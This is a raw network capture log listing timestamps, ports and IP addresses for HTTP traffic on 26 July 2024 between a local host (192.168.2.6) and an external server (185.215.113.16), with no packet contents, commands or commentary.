Jul 26, 2024 10:36:21.377852917 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.378540993 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.378552914 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.378599882 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.379544973 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.379556894 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.379605055 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.380422115 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.380434036 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.380465984 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.380501032 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.381186008 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.381198883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.381212950 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.381239891 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.381253958 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.382201910 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.382214069 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.382268906 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.382929087 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.382941961 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.382999897 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.382999897 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.383848906 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.383862972 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.383902073 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.383917093 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.384715080 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.384728909 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.384772062 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.386091948 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.386104107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.386115074 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.386176109 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.386176109 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.388706923 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.388719082 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.388776064 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.388782978 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.388961077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.388972044 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.389055967 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.389718056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.389733076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.389779091 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.389792919 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.390399933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.390414000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.390424967 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.390454054 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.390469074 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.392297029 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.392307997 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.392362118 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.392678022 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.392689943 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.392723083 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.392734051 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.394752026 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.394768953 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.394781113 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.394790888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.394800901 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.394800901 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.394820929 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.394866943 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.396249056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.396265984 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.396310091 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.396333933 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.396569967 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.396583080 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.396614075 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.397283077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.397296906 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.397336006 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.398011923 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.398026943 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.398052931 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.398065090 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.399063110 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.399077892 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.399089098 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.399108887 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.399130106 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.399435043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.399446964 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.399488926 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.400108099 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.400121927 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.400161028 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.400820017 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.400834084 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.400881052 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.401551962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.401566029 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.401576996 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.401599884 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.401612043 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.402424097 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.402439117 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.402477026 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.402491093 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.403451920 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.403466940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.403506041 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.403516054 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.403951883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.403965950 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.404006958 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.404824972 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.404839993 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.404886007 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.405046940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.405061007 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.405071020 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.405111074 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.405121088 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.405832052 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.405848026 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.405862093 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.405898094 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.405898094 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.405910015 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.450975895 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.451132059 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.451150894 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.451168060 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.451204062 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.451687098 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.451699018 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.451730967 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.451746941 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.452534914 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.452547073 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.452577114 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.452594995 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.453102112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.453114033 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.453125000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.453149080 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.453176022 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.453749895 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.453761101 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.453789949 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.453802109 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.454423904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.454433918 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.454461098 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.454474926 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.455486059 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.455497026 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.455526114 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.455977917 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.455987930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.456022978 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.456439972 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.456451893 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.456463099 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.456506968 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.456506968 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.457107067 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.457118988 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.457146883 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.457165003 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.457921982 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.457933903 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.457947969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.457961082 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.457977057 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.457988977 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.458513975 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.458527088 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.458539009 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.458549976 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.458564997 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.458578110 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.458621025 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.459341049 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.459352016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.459361076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.459371090 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.459392071 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.459419966 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.460149050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.460161924 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.460172892 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.460192919 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.460202932 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.461065054 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.461076021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.461087942 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.461119890 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.461136103 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.461852074 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.461863995 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.461873055 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.461884022 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.461899042 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.461930037 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.463892937 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.463903904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.463913918 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.463923931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.463933945 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.463943958 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.463968992 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.464005947 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.464194059 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.464204073 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.464212894 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.464222908 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.464240074 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.464271069 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.464976072 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.464987040 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.464997053 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.465025902 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.465058088 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.466037035 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.466090918 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.491761923 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.491889954 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.492002010 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.492052078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.492093086 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.492108107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.492146969 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.492641926 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.492652893 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.492664099 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.492712975 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.492743969 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.493536949 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.493549109 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.493561029 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.493592024 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.493623972 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.494442940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.494456053 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.494466066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.494477987 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.494503975 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.494503975 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.494537115 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.495584965 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.495596886 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.495606899 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.495636940 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.495651007 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.496205091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.496216059 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.496227980 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.496256113 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.496278048 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.497365952 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.497378111 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.497389078 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.497399092 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.497427940 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.497459888 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.497869015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.497880936 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.497889996 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.497900963 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.497911930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.497935057 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.499025106 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.499037027 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.499047041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.499058962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.499068022 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.499070883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.499093056 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.499114990 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.499897957 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.499908924 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.499918938 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.499929905 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.499938965 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.499963999 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.500783920 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.500796080 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.500806093 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.500817060 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.500827074 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.500838995 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.500864983 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.502151966 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.502163887 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.502173901 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.502185106 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.502226114 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.502226114 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.502607107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.502618074 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.502629042 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.502645016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.502655029 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.502656937 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.502679110 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.502691031 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.550031900 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.550163984 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.550175905 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.550231934 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.550587893 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.550600052 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.550611973 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.550637007 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.550656080 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.551485062 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.551531076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.551542044 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.551553965 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.551568985 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.551593065 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.552251101 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.552263021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.552273989 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.552284002 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.552306890 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.552323103 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.553221941 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.553234100 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.553245068 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.553256989 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.553267956 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.553276062 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.553329945 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.554194927 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.554207087 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.554218054 CEST	80	49713	185.215.113.16	192.168.2.6
